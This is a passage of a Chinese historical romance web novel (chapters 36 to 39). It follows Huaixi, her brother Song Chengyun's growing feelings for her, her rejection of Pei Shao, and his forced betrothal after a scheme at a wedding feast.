“全部?”小艾问道,全部的话可不少。 “对,全部,吃了那些吃食。” 小艾不明所以,不过还是应下。 第36章 第36章哥哥,你过来吧 夜里宋承云果然回了府。 琥珀进来传话的时候,怀夕正半倚在床边看书,眼眸已是快要耷拉下来的模样,听到传话后,把手里的话本子随手放到一边,掀开被子就闭上眼睡觉了。 翌日,怀夕特意起了个大早,昨日琥珀传话时,说公子特意交待,今日要她一同去送别梁老夫子。 梁老夫子来的时候,院子里几颗老槐树枝上叶子才刚刚转黄,走的时候,已经变成枯叶,在秋风中纷纷扬扬落了满地。 自古逢秋悲寂寥,更何况在秋日离别。 进了渡口,还未到开船时刻,梁老夫子说了几句离别话,看了眼宋承云兄妹,眸中湿润不待人看清,便头也不回进了船舱。 送君千里,终有一别,梁老夫子上船后,王楚修和其他人陆陆续续也回去了。 船还有一会才开,宋承亭在岸上跟宋承云兄妹道别,她看着怀夕递给他的两个大包裹,有些哭笑不得。 平日握书的书接过那两大包裹时,险些没接住,那神情显得有些滑稽,惹得怀夕没忍住捂着嘴笑。 宋承亭递给身后的小厮后,也跟着笑了笑。 京城一行,他们兄妹待自己仿佛毫无芥蒂,这让宋承亭心里更多了几分羞愧。 他站在宋承云兄妹面前,想说些什么,又不知从何说起。 宋承云看着吞吞吐吐的宋承亭,只是淡淡笑了笑:“大哥什么都不必说,放心就是。” 宋承云从来没把二房做的那些事看在眼里,所以也谈不上报复什么的。他亲缘意识一向淡薄,除了父母亲,不管是族里还是二房的人,对他来说并没有什么特别的意义。 他们想借他的势还是沾他的光,他都不在意,只要不干些伤天害理的事,他不会多说什么。 宋承亭听完,感激般地看了看宋承云,原本还想说些什么,可看了眼怀夕,又将唇阖上。 宋承云看出他的意思,找了个由头把怀夕支走。 “大哥还有什么话要说?” 宋承亭看着不远处怀夕的背影,颇为慎重地说道:“从前祖母一直阻拦不肯让怀夕入族谱” 宋承亭欲言又止,但想到宋承云坦率相待后,还是继续说道:“既没入族谱,怀夕就算不上你的亲妹妹,如今怀夕已及笄,若将来有心人借机乱传些什么,终究对你仕途不利。你放心,这次回去,我一定说服祖母他们,早日让怀夕上族谱,将来议亲也更名正言顺些” 宋承亭看得出来,这位二弟很是疼惜珍视怀夕这个妹妹,他原本以为宋承云会很乐意见到怀夕成为宋家名正言顺的女儿,不料待他说完,他只是淡淡回了一句:“不必了。” 宋承亭愣了愣,显然有些惊讶,“可” “我离开泸州时便说了,不管入不入族谱,夕儿都是我的妹妹。” 不知是不是宋承亭的错觉,他原是好意,可他觉得说完那些话后,二弟那双向来疏冷的黑眸仿佛更暗了几分。 他想解释他不是有意多事,可那头怀夕和小艾各拿着一串糖葫芦,笑盈盈地朝他们走过来。 渡口人来人往,怀夕顾着手上的糖葫芦,没注意半身高的小孩童从那边疾跑过去,重重撞了她一下,她身子险些没站稳,眼看就要往前栽了去 怀夕是从宋承亭身后走来的,待宋承亭听到啊的一声回头时,他对面的宋承云已经跨步绕过他,握住怀夕的肩膀,止住她往前栽的姿势。 怀夕显然也有些吓到了,下意识地抓紧宋承云的衣袖,往他身后躲了躲。 正好一船队正在卸货下岸,一时间岸上乱糟糟的,不时有人经过,宋承云为了让怀夕稳住身子,手臂还是虚揽着,身躯也往后移了一步,自然而然为她开辟出一方小小的空间。 为避让行人,宋承亭也往一旁挪了挪,身前兄妹二人默契亲密的动作正好落到他眼里,让他一时有些怔愣。 顾不得细想,船上的同伴远远在呼喊着让他登船,他只好对着他们招了招手,再回头同宋承云兄妹二人辞行。 水面波澜渐渐平息,客船也慢慢淡出视线之内,宋承云看着远方,清淡的眼眸里有淡淡的离别愁绪。 梁老夫子待他如师如父,此次一别,大概很长一段时间,都难再见到。 只是愁绪刚起,几根纤白的手指在眼前晃了晃,而后清甜软糯的声音钻进耳朵里。 “还有一颗,哥哥尝一下吗?”怀夕向宋承云递过手里的糖葫芦。 一整串糖葫芦已经被她吃剩最后一颗,晶莹的糖壁上有微微的湿润。 宋承云看了一眼,摇头,“你吃吧。” 怀夕不好意思地笑了笑,一笑发现嘴角边粘粘的,好似沾了糖霜,她伸手去擦,反而将糖霜蹭开。 转头想找小艾帮自己擦,发现小艾已经跟着松毫去了马车那边等着,怀夕掏出帕子自己擦,擦完后正想回头问走在她身后的宋承云,看自己有无擦干净。 宋承云故意落后怀夕半个身子,是有意替她挡去来往那些磕碰。四周都小心注意着,却未料到护着的那人会突然转身停住。 显然,怀夕也没想到哥哥离自己这般近,她转身时,宋承云正好没刹住脚步,怀夕不轻不重撞到他胸前。 这下,轮到怀夕伸手稳住宋承云了。 怀夕另一只手还拿着糖葫芦,匆忙之下,用另一只手环在宋承云腰间 猝不及防撞了个满怀,宋承云有瞬间的错愕。不待他反应过来,胸前的人儿已经从他怀里退开。 宋承云匆忙往后退了一步,只是未料到,他一退,身前的女子又朝他走近一步。 待他脚跟下意识再往后退时,小姑娘拉了拉他的袖子,伸手在他胸前点了点,而后抬头,弯着眸对他笑,“哥哥,糖霜。” 因为她回头撞了一下,她嘴角未擦净的糖霜印在宋承云的锦白衣袍上,怀夕伸手指了指他胸前几点晶莹的印迹,笑里带着点狡黠的幸灾乐祸,“哥哥,擦干净了吗?” 看着眼底那双弯弯的眼眸,宋承云蓦然有些失神。在女子的催促下,他将手落到那胜雪的肌肤上,擦去剩余几点晶莹粉红的糖霜- 怀夕的绣屏已经绣完,想让宋承云帮她看一眼,确认妥当后再送去装裱。 一回到宅子,怀夕便让宋承云先跟着回她院里。 宋承云闲暇时,基本都是随怀夕安排的,当下自然没有拒绝。 早间的日光并不炽热,透过斑驳的树叶落到竹筛上的桂花干上,院子萦绕着一股淡淡的清香,越走近香味越发浓厚。 闻到时,宋承云不由得想起,近日松毫泡的茶总有一股桂花味,原来又是出自妹妹手笔。 住进这座宅子也有一段时日了,这还是宋承云第一次踏入怀夕的院子。 西次间是平日怀夕待客或活动的主要场所,不算很大,但看得出,每一处都是精心布置过的。 许是怕晒,床边的窗户织了一副美人戏猫图案的帘子作挡光用,帘子上坠着风铃和流苏,风一吹,风铃轻摇,如叮咚山泉,发出清脆悦耳的响声。 地上铺着地衣,虎形兽首状的的香炉里飘出袅袅的烟雾,青天的香味随之散开。 临窗的书桌上放着的是他的字帖,边上铺着的纸上还有临摹了一半的字迹,纸上是小猫形状的书镇。 怀夕将他带进屋内后,自然说道:“哥哥先坐会。”说完后,她便走近里间去拿她的绣物。 宋承云目光未跟随她到里间,他依言走到窗边的罗汉床前,在没有铺着织锦毛毡的另一侧坐下。 坐下后,对面织锦毛毡上满满当当许多精巧的小物件便落入眼帘。 有精致的香粉盒、别致的玉环、精美的木雕、小巧的莲花灯 宋承云的目光在那枚熟悉的玉猫佩饰上定了一瞬。 怀夕拿着她绣好的绣品走出来,她把书桌上的东西收拾开,将绣品铺开的同时喊道:“哥哥,你过来吧。” 只是待她铺好后抬头,发现宋承云仿佛没听见她的话,还盯着窗边的流苏不知在发什么呆。 怀夕只好走过去喊他,只是走近才发现,昨日她让小艾收拾出来那些裴劭送的物品,还大喇喇放在罗汉床上 不知为何突然有些尴尬,怀夕随手扯了旁边的小薄毯盖了上去,然后觑了宋承云一眼,看到他目光从窗外收回,应是没注意到她的动作,她心里暗暗松了口气。 “走吧。”宋承云淡淡说道。 怀夕的绣功并不是十分出挑,但此幅绣作上的字画明显看出是用了心的,一针一线婉转流畅,寓意也好,宋承云看过之后点了点头,不吝夸赞,“不错。” 怀夕也很满意这次要送给王郁雾大婚的贺礼,见哥哥也认可,更是喜悦,当下就吩咐小艾送去装裱。 而宋承云连茶都没有喝,看过绣品后便回了自己院子。 怀夕料想着哥哥是急着回去看书,也没留他,她今日起得早,想睡会回笼觉。 第37章 第37章他是醉了又不是死了 转眼就到了王郁雾出嫁的日子,两朝帝师与当今首辅两家联姻,场面之气派可见一斑。 整个太师府处处都是红艳艳的,房檐廊角,灯笼红绸,忙碌穿梭的侍女,热闹道贺的宾客 王郁雾的院子里此时站满了许多女眷,多是王家的亲朋长辈,夏敏在正厅里陪着她们说话,而内室里,怀夕和王郁心正看着丫鬟替新娘子妆扮。 娇娇倾国色,怀夕没见过王郁雾这般盛装的模样,美到她都有些看呆了。 平时吵吵嚷嚷的两个妹妹突然安静,王郁雾有些不习惯。因丫鬟替她盘着发不好转身,她透过梳妆镜看着身后两人,见她们俩不眨眼地盯着自己看,王郁雾不禁有些羞恼,嗤道:“回神了。” 怀夕和王郁心不掩眸中惊艳,往前凑了凑:“姐姐,你太美了。” “太美了”王郁心附和道。 两个妹妹一通恭维,把王郁雾说得又喜又羞涩,正在她羞得想将姐妹俩赶出去时,夏敏从外边进来了。 外头丫鬟来报说迎亲队伍已经快到王府,夏敏便进来看看里头是否准备妥当。没想到一进来,就看到两个顽皮的小女儿正拉着大女儿的手,在摸上面的蔻丹,期间不知说了些什么,惹得旁边的丫鬟们都笑出声。 “两个小祖宗啊,今日你们可别捣乱了。”夏敏连忙走近,将大女儿的手从她们手里抽了出来,把她们赶到一旁。 丫鬟们终于能专心致志地为新娘子妆点起来。 金冠玉钗,黛眉轻扫,朱唇微点。金色的花钿勾勒出娇媚的面容,待一席红底金边的大红嫁衣穿上身后,新娘子就算彻底妆扮好了。 丫鬟们鱼贯而出,而夏敏看着如花娇艳的女儿,泪眼涟涟。 见状,怀夕和王郁心也拉着手跟着出去 ,将大姐姐在家里的最后时刻留给母亲。 而外头,接亲的郎君们从王府门外,一路过关斩将,终于闯到新房门外。 怀夕和王郁心从屋内出来时,迎面正好碰上接亲的队伍。 接亲的郎君们一拥而入,王家的亲眷们正挡在新房门外,各种法子拦着他们接新娘。 裴劭也在拦亲的队伍里,他虽是夏敏的侄子,可算起来,与沈竟轩也算是表兄弟。 接亲里头李国公家的小儿子看着裴劭,调侃道:“裴世子,今日可是你表兄的大好日子,谁都能拦,你这个表弟也来拦,是不是也太不够意思了?” 一众傧相跟着起哄,想把裴劭拉到他们阵营。 但裴劭不顾他们的哄笑,不紧不慢地叫旁边其他亲眷继续出题。 新婚三天无大小,接亲的郎君们七分激动三分生猛,很快就冲破了这群女眷为主的拦亲队伍。 怀夕和王郁心原本站在新房门外看热闹,可院里实在挤了太多人,不知谁喊了一句吉时已到,那群接亲的郎君趁乱往前冲,不怀夕和王郁心便被浩浩荡荡的人群冲散了 耳边尽是喧闹和叫嚷声,怀夕挤在人群里出不来。好不容易盯着柱子的方向往外挤,可又来了一拨人往这边冲过来 眼看又要被挤进去,怀夕叹了口气,正想放弃挣扎,不料手臂上突然搭上一只手,强劲有力,怀夕顺着他拦开的一条小小通道终于顺利挤了出来。 挤出来后,怀夕撑着柱子好一阵喘气,顺好气,正要向拉他出来的人道谢,一抬头,有些惊讶:“裴世子?” 在队伍冲过来前,裴劭本已利落躲到旁边的柱子后看热闹,不料在人群中看到挣扎着往外挤的怀夕,这才又挤进人群里 裴劭笑着问她,“没事吧?” “没事。”怀夕转头看那边还挤着的人群,回过头笑着说道:“这样热闹的场面,我还是第一次见。” “多谢你啊。” 听着她语气里一如往日的熟络,裴劭用力攥了攥手。 怀夕扶着柱子,踮起脚,想看看能不能看到郁心在哪,她不知道身后的男子正静静地盯着她的背影看。 怀夕今日穿了一条白底茜红绣如意纹的襦裙,纤细的腰肢被勾勒出盈盈的曲线,俏生生的脸上略施粉黛,衬得雪肤更为细腻,清新中不失妩媚。 明知道姑娘家不喜欢自己,但裴劭还是忍不住将目光停留在她身上。 找不到王郁心,怀夕又转回头来同裴劭说话:“那些东西你都收到了吧?” 裴劭眼神稍黯,却丝毫不意外怀夕的坦荡。 他觉得自己大约无药可救了,连她这般坦坦荡荡无所谓的样子都叫自己心动。 “收到了。”裴劭声音低低的,仿佛要淹没在人群喧闹声中 “那就行。”怀夕微仰着脸,神情认真,“我很仔细地想过了,我不喜欢你的。” 众人拥着新娘子从屋内出来,外头又开始热闹起来,无人在意被挤到小角落的这两个人。 喧闹声太大,裴劭看着愣愣的,怀夕只好微微踮起脚,略微凑近他,用他能听到的声音说道:“你这般好,将来一定能遇到一个更好的女子。” 怀夕虽然不确定喜欢一个人是什么感觉,但通过以前圆圆姐姐临离开金陵时同她说的那些话,她很明确,自己不喜欢裴劭。 她不会时常想着裴劭,或者说,若不是裴劭同她剖白心迹,她根本不会分出多余的注意力在他身上。 她对裴劭没有圆圆姐姐说的那种独占欲。 圆圆姐姐说爱是不能分享的,所以她宁折不弯,因为杨大人的不坚定果断抽离。怀夕设想了一下,若是裴劭身边有别的女子 她好似没有什么很特别的感觉。 况且,正如干娘所说的,嫁给裴劭就要离开金陵,离开哥哥,那她再喜欢也不愿意的。 想清楚之后,怀夕便让小艾把裴劭送的东西都收拾出来,亲自找到夏敏,让夏敏转交回裴劭。 夏敏惊叹怀夕的坦率,也不是没想过再劝一劝,可细想,情这东西,不喜欢就是不喜欢,哪里还能劝得来。 只能说,两人没缘分。 所以,夏敏专门找来裴劭,将东西原封不动转交给他。 裴劭看到东西的时候,就已经知道怀夕的态度了。 虽然他对她剖白心迹时说过,不喜欢也没关系。 但真正听到怀夕说出来不喜欢的时候,裴劭心里止不住还是如刀划过般刺痛。 看着眼前女子坦荡又真诚的目光,裴劭尽量让自己自然地笑着。 “好。” 他同她说过的,不喜欢也没关系的。 怀夕觉得自己说清楚了,且见裴劭也很爽快,心里终于落下一块石头。 如何友好拒绝一个人的好意,怀夕并不是很懂,她只能对裴劭说着千篇一律的祝福。 但她发誓,那些祝福发自肺腑。 她对着裴劭展颜而笑,“听闻裴世子过几日就启程,愿你在西北顺遂无虞,所愿皆得。” 真心且毫不吝啬的祝愿。 说完后,怀夕正好听到王郁心唤她的声音,也不待裴劭说话,转身翩跹离去- 婚宴有两场,首辅家一场,太师府一场,裴劭跟着迎亲队伍将王郁雾送到首辅家,便作为娘家代表留在那边的喜宴。 因着心情复杂,旁人敬酒的时候他几乎来者不拒,很快就醉醺醺了过去。 可他没想到,自己再醒来的时候,身边竟然躺着个不着一缕的女子。 而那女子,便是沈玉瑶。 裴劭丝毫记不起他酒醉之后的事情,只依稀记得从宴席里走出来时,有两个丫鬟过来扶住自己,说是引自己去厢房休息。 裴劭压住心中的慌乱,赶紧穿戴好自己的衣服。他的脑袋又痛又乱,隐隐觉得事情不对劲,明明醉倒前,他没看见沈玉瑶,为何她会出现在他的厢房里。 毫无头绪,他只好问身后的女子,声音冷冷地,“你怎么会在这里?” 他与沈玉瑶平日碰面并不多,但因着一层亲戚关系,碰面多少总会寒暄几句。这位表妹自小心高气傲,她不像是 听到身后轻轻的啜泣声,裴劭觉得自己好似不应凭空恶意揣测人,他皱了皱眉,将掉落在地上的女子衣衫捡了起来,背对着递给她,让她先穿上。 沈玉瑶扯着被子,不知醒了多久,听到裴劭的话,她只言不吭,只是用帕子捂着脸颊啜泣着。 衣服被撕烂,沈玉瑶穿了也只比没穿好一些,最后,在裴劭的冷声询问下,她哭着说她有些醉酒出来走走,是他不由分说将她拉进厢房,还扯了她的衣服,欲对她 有没有做什么裴劭怎么可能不知道。 他是醉了又不是死了。 可即便没有做什么,姑娘光着身子在他床上已是板上钉钉的事。 还不待裴劭理清事情的前因后果,谭氏的声音就从门外传来 裴劭很清楚,事情是掩盖不过去的,况且,他也没有打算瞒着。 谭氏进来后看着床上衣衫凌乱的女儿,一时气得说不上话。可当看到女儿看她时那心虚的眼神 知女莫若母,谭氏心里隐隐有了猜测。 这里是外客休息的厢房,女儿为何会出现宾客休憩的外院? 这样的手段,对于内宅妇人来说,连推敲都不用。 裴劭也知道事情不对劲,可到底是哪一环节出了问题,他心里没底,对于沈玉瑶的话,虽半信半疑,但一时也拿不出证据。 他是成年男子,虽确认自己没有酒后乱性的痕迹。可有了心仪的女子后,也不是没有做过那等子梦 难道真如沈玉瑶说的那般,真是他不由分说将人拉扯到屋内? 不管怎样,终究是他不该放任自己喝醉 第38章 第38章你很在意? 谭氏迅速将裴劭说的那两名女侍抓起来,待婚宴结束后,一讯问,果然,是女儿的手笔。 她又气又怒,可事到如今,为了女儿的名声,她只能先处理眼前棘手的场面,当即抓了几个侍候的奴仆,将事情以最快速度压了下来。 好在裴劭还算配合,宾客们也未察觉到 异常,婚宴顺顺利利举行。 婚宴结束后,裴劭并没有马上离开,而是第一时间去了沈震的书房。 裴劭跪在地上阐明前因后果后,抬起头直视沈震的眼睛,“舅舅,我发誓我没有对表妹有过任何不轨之心。事到如今,我已无从辩解,舅舅是杀是打,裴劭绝无一句怨言。” 沈震坐在书桌前,一时沉着脸没有说话。 裴劭不知道,他来之前,谭氏刚刚从沈震的书房离开。 谭氏知道这件事攸关重大,不敢瞒着沈震,所以上座的首辅大人已然知晓全部实情。 沈震当然生气,他是真的宠爱沈玉瑶这个女儿,可没想到,她竟敢做出这样胆大包天的事情,而自己还不得不为她周全。 若是别的男子,这事其实也不算难办,他用了大半辈子走到如今的位置,除掉一个人对他来说只是动一动手指的事情。 人若死了,谁敢用清不清白来评判他沈震的女儿。 但裴劭 若他动了他,昭昭定会怨怪他 “先定亲吧。”沈震冷冷地看着裴劭,一锤定音。 裴劭跪在地上,深深地闭了闭眼,声音沉而哑:“好。”- 翌日,裴劭第二日便来王府拜见夏敏,求她替自己去首辅府提亲。 夏敏听完裴劭央求她去首辅府提亲时,当场就愣住。 “你是吃醉了不成?”夏敏一脸震惊地看着他,充分怀疑此刻不是她在做梦,便是侄子还没酒醒。 倒没想,这话真戳中裴劭的心窝。 就是因为吃醉了 “我知道你刚被人家姑娘拒绝,心里或许不舒服。可结亲是大事,说不得玩笑的。”夏敏语重心长地说道:“你不要怪怀夕,她跟我们不同,也是不想误了你” 京中女子婚事或多或少,总会有许多考虑和顾忌,但怀夕不同,她心思坦率单纯,她的哥哥宋承云不会也不屑利用她的婚事为他的前途添什么光彩,正如宋承云所说,只要她喜欢即可。 所以,怀夕自己的意愿便是放在第一位的。 感情这种事情,喜欢就是喜欢,不喜欢便是不喜欢,夏敏很欣赏怀夕找上她时的坦荡。 夏敏最不喜欢男女之间藕断丝断,若有似无那一套。女子嘛,就该坦荡面对自己的内心,敢爱敢恨,勇敢说爱,也能敢于说不。 提到怀夕,裴劭心里更是针扎般的苦楚。 原本还存着些幻想,怀夕不喜欢他又如何,反正男未婚女未嫁,未来的事谁说得准。 没想到这下幻想是彻底破灭了 裴劭苦笑:“我根本就不在乎她误不误我” 仿佛糊了满嘴的黄连,苦得裴劭说不下去。 可现在说这些也没用了,男子汉大丈夫,敢做敢当,裴劭将喉咙里的苦楚咽了下去,正色把昨日的事情告诉夏敏。 夏敏皱着眉听完裴劭的讲述,脸色绷得越发紧 简直是漏洞百出的说辞,别说裴劭在外院,玉瑶是首辅府的主子,身边怎么会少人侍候,为何会落单? 她拧着眉问裴劭:“你真不记得阿瑶是怎么进来的?” 裴劭叹了口气:“姨母,你又不是没见过我喝醉的样子” 裴劭喝醉,从来都是乖乖睡着。 夏敏相信裴劭。但,玉瑶也算是她看着长大的,平日里温声细语,最是守礼。况且她身份尊贵,若她真想嫁给裴劭,无需采取这样的手段 “到底是何人想陷害你?”夏敏想了半天,难道是朝堂上的争端,有人想离间首辅和王家乃至与太子的关系? “不知道。”裴劭摇头。 谁敢在守备森严的首辅府动手?动的还是人家捧在手掌心的明珠? 夏敏知道这事关系重大,毕竟是首辅沈震的女儿,不说朝堂上那些弯弯绕绕的关系,私下也是沾亲带故的,若处理得有错漏,恐怕干系重大。 明明也是受害者,偏偏为了姑娘家的声誉,这种事还不能声张 提亲势在必行,沈震算是明着勒令让裴劭负责,而太子也已经知晓并点头,接下来夏敏只不过是把该走的流程按明面上的礼仪走一遍- 距裴劭启程西北的日子不到十天,夏敏花了两日匆忙准备提亲的东西,第三日就去了首辅府,两家达成共识,待裴劭下次回京,再将婚事办了。 裴世子与首辅家女儿定亲的消息一经传出,在朝野引起好一番动荡。 不过等怀夕知道这个消息,已经是事情尘埃落定的时候了。 中秋前一天,怀夕带了些自己做的桂花茶和小点心来王府,给老太师夫妇请安后,又来到夏敏院子。 裴劭向沈家提亲的事已经传遍朝野,这事并不是秘密,但夏敏同怀夕提起的时候显然脸上有几分尴尬。 怀夕听完有些讶异,显然她还不知道这个事情。怀夕平日大多呆在家中,消息闭塞,宋承云未曾讲起,她自然什么都不知道。 不过她虽有些惊讶,倒也没有多想什么。 反倒是王郁心听完后,把手中的茶盏重重放下,嘟着嘴不满地说道:“表哥怎么是这样的男子,一会喜欢一个。” 夏敏斥她:“别胡说八道。” 王郁心不服:“我哪有胡说八道,前阵子他不是喜欢怀夕姐姐吗?还老是托我替他送东西,怎么还没几日又去向玉瑶姐姐提亲” 怀夕只好解释道:“你表哥托你送来的那些东西,早在他定亲之前,干娘已经尽数帮我还给他了。” 见王郁心张着嘴巴有些不可置信,怀夕继续说道:“我同裴劭什么都不是,他喜欢谁是他的自由。” 夏敏也瞪她一眼,“小孩子家家的你懂什么,以后莫在别人面前胡说八道,免得被有心人拿去做文章” 王郁心被夏敏一顿教训,也知道轻重,只好讷讷说自己以后不会乱说了- 夜里用过膳后,怀夕捧过小艾递来的茶水,半掀盖子,细细地嗅了嗅,桂花香味扑鼻,天气干燥,这批桂花干晒得真好。 她轻轻抿了一口,而后抬头,状似无意地说道:“听说裴世子定亲了,哥哥知道么? 闻言,宋承云抬起薄薄的眼皮,目光落在怀夕捧着茶盏的手指上。 纤长白皙的手指盖在青色的瓷杯上,分不清是哪个更莹润细腻。 茶水氤氲的热气滑过杯沿,滴落在手边,宋承云收回目光,淡淡说道:“嗯,知道。” “那你怎么不曾同我说起?”怀夕把茶杯放下,发出不轻的碰撞声。 听到质问般地语气,宋承云抿了口茶,眼眸如幽静湖水,淡淡从怀夕脸上瞥过,“为何要同你提起?” 裴劭于他来说,不算什么特别的人。 “” 确实,朝堂的事哥哥向来只字不提,细细想来,平日里也没见过他议论别人的私事 怀夕清透的眼眸睁得大大的,声音有些哽住,一些不知该接什么话。 宋承云放下茶杯,随口一问一般:“你很在意?” 倒也不是很在意,只是有些意外而已。毕竟裴劭不久前还说仰慕自己,转眼又定亲了,又不是老死不相往来的敌人,正常人都会好奇一下吧。 可在哥哥面前议论这些有些奇怪,怀夕咳了一声,尴尬地说道:“没有的事,没有的事。” 宋承云看着怀夕闪烁的目光,漆黑的瞳仁沉了沉,终究什么都没说。 一瞬间,无声地沉默蔓延开来,怀夕一股脑将剩余的茶水几口喝下,放下茶杯站了起来,“今日我有些 累了,夜里就不陪哥哥看书了,哥哥看书莫看的太晚,早些歇息。” 说完,也不等宋承云开口,怀夕拉上小艾径直离开…… 怀夕走后,宋承云仍一动不动坐在位上,目光恍似落在怀夕刚刚喝过的白瓷茶杯上,手上无意识地摩挲着桌沿, 心口的沉闷压得他有些喘不过气,而这样的感觉已经不是第一次了。 近来种种的不由自主,喜怒烦闷,通通不对劲。 静生慧,慧生定,定生万物,无论是梁老夫子,还是王老太师,都常常夸羡他有一个明朗清澈,不受外物影响的心境。 裴劭结亲也好,不结亲也罢,皆与他无关。 可他听到裴劭结亲时,心中滑过的一丝喜悦和庆幸那般分明。 为什么会喜悦? 为什么要庆幸? 正如他所想,裴劭于他,并不是什么特别的人。 宋承云看似温和,实则心高气傲,能让他放在眼里并且心生欣赏的人并不多,裴劭算一个。 可能是妹妹近来提起裴劭的次数愈来愈多,让他几次三番不由自主会关注裴劭。因为有所关注,所以大概明白为何妹妹会独独青睐他。 性情纯净的人,大约都是互相吸引的。 当王大人来探他口风之时,他心底其实已经有了准备。只是事情转折之快,确实超乎他的意料。 裴劭突然定亲,无论真心还是无奈,事已成定局,深究也无用。 但宋承云很清楚,没有裴劭,还会有别人 他闭上眼眸,深深吸了一口气。 第39章 第39章向来拿她没有办法 月亮圆了又缺,离别是世间最叫人心碎的事。 今日京城几条主街都挤满了人,马蹄卷起尘土,百姓们不顾满脸细沙和官兵拦道熙熙攘攘地簇拥着,有的是为送别上战场的亲人,有的只为一睹将士的风采。 的确,领头那位少年将军风采实在出众。 马背上的身姿挺拔如苍松,一身银色耀甲加身,剑眉星目,气势如虹,让人感到有如实质的敬畏。 大军走出城门外几里,开路的兵士眼尖地看见王家的马车,前来禀报。 裴劭叹了口气,明明昨日已经拜别过姨母,不让她今日前来相送。他吩咐大军继续前进,他独自打马往前方奔去。 王家的马夫看到裴劭驰骋靠近的身影,敲了敲车沿,道:“夫人,世子来了。” 马车里,夏敏忙拭了拭眼泪,在婆子的搀扶下匆忙出了马车。 裴劭见到夏敏,扔了手上的缰绳,一跃下马,几个大跨步走到夏敏身前,“姨母。” 看着故作笑脸的夏敏,裴劭不由地叹了口气,安抚她:“又不是战事四起,只是去整军戍边的,快则一年就回来了” 他还没说完,马车里又钻出来一个人,是王郁心。 然后,又出来一个。 裴劭清俊的眼眸一下子亮了亮,只是深陷离别愁绪的夏敏没有发现,揽着裴劭忍不住又滴下眼泪。 “有没有战事,都千万要小心。姨母就在京里等你回来”嘱咐的话不知说过多少遍,可说再多夏敏也不放心,“你如今也算有家有室的人,待你归来,姨母定将你的亲事办的风风” “两个妹妹也来了。”裴劭不知是有意还是无意,截了夏敏的话,看着她后面两个小姑娘。 怀夕本是不来的,可王郁心一早叫人请了她过去,说是她的小狗有些不对劲,叫她赶紧过来帮忙瞧瞧是怎么回事。 怀夕养着猫奴,有些经验,看出可能是天气忽然转冷,小狗不适应,所以不愿意吃东西,逗了小狗玩了一会。 既来了王府,总要去夏敏那里请个安,本想请完安便回家,没想正遇上夏敏带着仆妇要出门,见到她们两,便顺势将她们带上。 于是,自王郁雾大婚后,怀夕时隔半月又见到裴劭。 一身军甲更衬出他的好颜色,眼眸凛然有神,鼻梁秀直高挺,少年将军风范天成,怀夕冲他浅浅地笑了笑。 怀夕今日穿了一袭鹅黄色的菊纹襦裙,将她身姿衬得愈发娉婷,莹白清秀的脸上映着金黄的日光,通透又莹润。笑意将她的眼神染得格外明亮,里头是毫不掩饰的欣赏与向往。 裴劭试图想捕捉里头是不是有别样的情绪,但确实,坦坦荡荡,一丝能让人误会的东西都没有。 裴劭心里有种说不出的滋味,泛酸,泛苦。 她还是如同以前那般,仿佛他们之间从未发生过什么。他的爱慕也好,他转头定亲也好,仿佛都未能在心上留下一点痕迹。 看着女子的笑意,裴劭只能尽数压下心头苦涩滋味,也对着她扬起嘴角。 夏敏实在忍不住情绪,到后面简直是要痛哭起来,又交待了几句话,见情绪实在绷不住,赶紧钻上马车,不敢再看裴劭的脸。 裴劭摸了摸王郁心的鬓角,见她眼泪汪汪,从袖袋里拿出一只竹叶编的蝴蝶,递给她:“别再说表哥偏心了,这只蝴蝶可费了我不少时间。” 看到竹蝴蝶,王郁心眼泪鼻涕更是一起来,接过来后锤了裴劭一下,“表哥还是这样讨厌,总之,你一定要平安回来。”说完觉得丢脸,也跑回马车内。 怀夕看着她跑开,对裴劭笑着点点头,也想回马车。 不料裴劭叫住他,不知从哪里拿出来一枚玉饰佩,掌心向上,伸手给她。 “你也有。”他笑着递给她,语气寻常,仿佛她只是另外一个妹妹,给了王郁心,便公平地也给她一件东西。 怀夕摆摆手,笑道:“我就不用了。” 裴劭却不容她拒绝,环视了一下周围,见没人看着这边,迅速地抓起怀夕的手,将东西放到她手心。 裴劭自来都是彬彬有礼的样子,怀夕有些惊讶于他的举动。 玉佩落到手心触感微凉,怀夕下意识低头去看,原来是她还给他的那枚猫形玉饰佩。 裴劭紧紧地握着拳,显然刚刚的举动对他来说也有些出格。 怀夕抬头来看他,眼眸在耀眼的日光下只能微微睁开一丝缝隙。 裴劭庆幸自己站了个逆光的位置,不至于叫人发现自己脸上的红晕。可庆幸完之后心里又苦笑了一下,他们之间已经不可能了,他何苦还要勉强人家姑娘收下他的东西。 可心里这样想着,嘴上还是说着:“既然送你了,就没有要回来的道理。”见怀夕有些皱了皱眉,他脸上故作的沉静又有些绷不住,语气带了些微不可察的慌乱,“就当是我送你的生辰贺礼,可好?” 怀夕的生辰在十月十五,,经裴劭一说,怀夕心里算了算,自己的生辰确实快到了。 裴劭笑了笑,故作洒脱地调侃道:“别的做不成,还是可以做朋友吧?退一步讲,我们也算表兄妹” 话都说到这份上,怀夕只好也笑了笑,“那就多谢你的贺礼了。” “一切顺利,裴将军。” 马蹄声踏踏,后面的大军已经渐渐看到队形。裴劭笑着点了点头,这次,他毫不犹豫转头跃上马匹,踏着日光驰骋远去- 草木流金,东篱菊瘦,晚秋的金陵城是萧瑟的,落叶跌向大地,所有的热烈繁盛归于宁静。 每年的惯例,天气一凉,怀夕就懒得出门,每日窝在自己屋里看书写字,和丫鬟闲聊中得知琥珀手艺好,会绣双面绣,之后琥珀亲手给怀夕绣了一个荷包,十分精美。 宋承云的生辰也在十五,只不过比怀夕晚了两个月。时间虽还远着,但怀夕倒起了个念头,反正每年都愁给哥哥准备生辰礼物,索性决定跟琥珀学一手,今年绣个荷包送他作生辰礼。 双面绣并不好学,不仅要绣出正反两面图像,绣法比普通的单面绣也复杂许多,尤其排针手法,怀夕总是学不好。 正好宋承云 这阵子很忙,不仅白天,夜里也经常回不来,怀夕便每日让琥珀手把手地教她。 历代帝王庙建于钦天山之北,每年十月朝皆由皇帝派大臣前往祭祀,而今年,皇帝欲让太子代他亲去拜祭太祖。 因礼仪事件,君臣关系紧张一时,此次郊祀也算是皇帝向群臣表态,追尊一事是势在必行。因此,本次郊祀的规模空前盛大。 几年前,宋承云还只是清河书院的一名学生时,就因写得一手好青辞出了名。 太子本就对他欣赏有加,得知此事后更是越过礼官,直接从翰林院点名要他负责此次祭祀所有的祝文,且随行此次郊祀。 宋承云确实很忙,忙得脚不着地。不仅祝文,他还给自己揽了很多的事情做,所以几日几日不回家也是常事,而不见到怀夕,那些困扰他的那些杂念仿佛也随之消失 只是临郊祀出发前,他还是回了一趟宅子。 怀夕得知他要回来,特意让刘婆子多做了几道菜。 